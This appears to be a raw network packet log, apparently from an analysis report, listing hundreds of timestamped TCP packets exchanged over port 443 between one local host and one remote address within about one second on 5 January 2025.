Jan 5, 2025 17:55:42.844059944 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.844065905 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.844101906 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.844427109 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.844443083 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.844494104 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.844501019 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.844538927 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.845930099 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.929291010 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.929315090 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.929373026 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.929394007 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.929421902 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.929439068 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.931454897 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.931473970 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.931524992 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.931531906 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.931571960 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.932050943 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.932066917 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.932131052 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.932137012 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.932187080 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.932509899 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.932526112 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.932584047 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.932590008 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.932638884 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.932785034 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.932801008 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.932848930 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.932856083 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.932908058 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.933001041 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.933017015 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.933068037 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.933074951 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.933110952 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.933325052 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.933340073 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.933379889 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.933387041 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.933427095 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.933633089 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.933650017 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.933723927 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.933731079 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:42.933773041 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:42.934063911 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.081927061 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.081948042 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.082036972 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.082060099 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.082089901 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.082110882 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.083091974 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.083106995 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.083179951 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.083188057 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.083225012 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.083319902 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.083336115 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.083388090 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.083395004 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.083570004 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.083600998 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.083622932 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.083630085 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.083658934 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.083683968 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.084161043 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.084175110 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.084244013 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.084250927 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.084387064 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.084405899 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.084444046 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.084450006 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.084484100 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.084511995 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.084625959 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.084652901 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.084681034 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.084686995 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.084712029 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.084728003 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.085818052 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.085834980 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.085896969 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.085903883 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.085938931 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.087197065 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.170737028 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.170753956 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.170844078 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.170859098 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.170893908 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.171956062 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.171972990 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.172054052 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.172060966 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.172223091 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.172243118 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.172287941 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.172295094 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.172327995 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.172353983 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.172406912 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.172420025 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.172477007 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.172482967 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.172666073 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.173028946 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.173044920 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.173111916 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.173118114 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.173322916 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.173342943 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.173423052 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.173429012 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.173621893 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.173636913 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.173685074 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.173693895 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.174772978 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.174792051 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.174835920 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.174843073 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.174869061 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.174901962 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.175597906 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.259601116 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.259619951 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.259772062 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.259799004 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.260426998 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.260447025 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.260540962 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.260550022 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.260673046 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.260675907 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.260685921 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.260708094 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.260730028 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.260737896 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.260759115 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.260781050 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.260920048 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.260936975 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.260991096 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.260997057 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.261795044 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.261812925 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.261899948 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.261908054 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.262142897 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.262156963 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.262221098 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.262232065 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.262485981 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.262506962 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.262566090 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.262574911 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.263601065 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.263613939 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.263688087 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.263696909 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.264678955 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.265430927 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.348150969 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.348166943 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.348268986 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.348300934 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.348391056 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.349045038 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.349059105 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.349134922 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.349143982 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.349183083 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.349203110 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.349237919 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.349246025 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.349267960 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.349298954 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.349523067 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.349536896 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.349590063 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.349596977 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.350337029 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.350353956 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.350402117 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.350411892 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.350435972 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.350469112 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.350783110 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.350796938 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.350850105 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.350857973 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.351079941 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.351098061 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.351130009 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.351135969 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.351167917 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.351196051 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.352114916 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.352130890 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.352190971 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.352200031 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.352236986 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.360179901 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.437021971 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.437045097 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.437164068 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.437190056 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.437669039 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.437690020 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.437732935 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.437743902 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.437762022 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.437793016 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.437943935 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.437961102 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.438004971 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.438014030 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.438339949 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.438359976 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.438393116 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.438407898 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.438427925 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.438451052 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.438956976 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.438975096 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.439018965 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.439030886 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.439044952 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.439062119 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.439404011 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.439428091 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.439481020 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.439491987 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.439621925 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.439645052 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.439667940 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.439676046 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.439692974 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.439713955 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.440850973 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.440869093 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.440932989 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.440941095 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.442759991 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.442770004 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.525804996 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.525830984 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.525974989 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.526000977 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.526041985 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.526238918 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.526257992 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.526287079 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.526293993 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.526329041 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.526345015 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.526560068 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.526577950 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.526631117 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.526640892 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.526896000 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.526990891 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.527008057 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.527049065 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.527055979 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.527072906 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.527095079 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.527667046 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.527686119 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.527764082 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.527771950 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.527825117 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.528050900 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.528064966 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.528096914 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.528105021 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.528116941 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.528136015 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.528285027 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.528300047 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.528330088 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.528336048 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.528368950 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.528383017 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.529459000 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.529474020 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.529537916 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.529547930 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.531554937 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.532581091 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.614314079 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.614339113 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.614424944 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.614454031 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.614979982 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.615011930 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.615066051 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.615084887 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.615098953 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.615128040 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.615223885 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.615245104 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.615282059 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.615288973 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.615305901 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.616012096 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.616034985 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.616080046 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.616090059 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.616106033 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.616132975 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.616234064 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.616250992 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.616278887 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.616286039 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.616307020 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.616319895 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.616935015 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.616955996 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.617008924 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.617021084 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.617039919 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.617062092 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.617322922 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.617343903 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.617388010 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.617396116 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.618174076 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.618197918 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.618232012 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.618240118 CET	443	49843	172.67.208.58	192.168.2.5
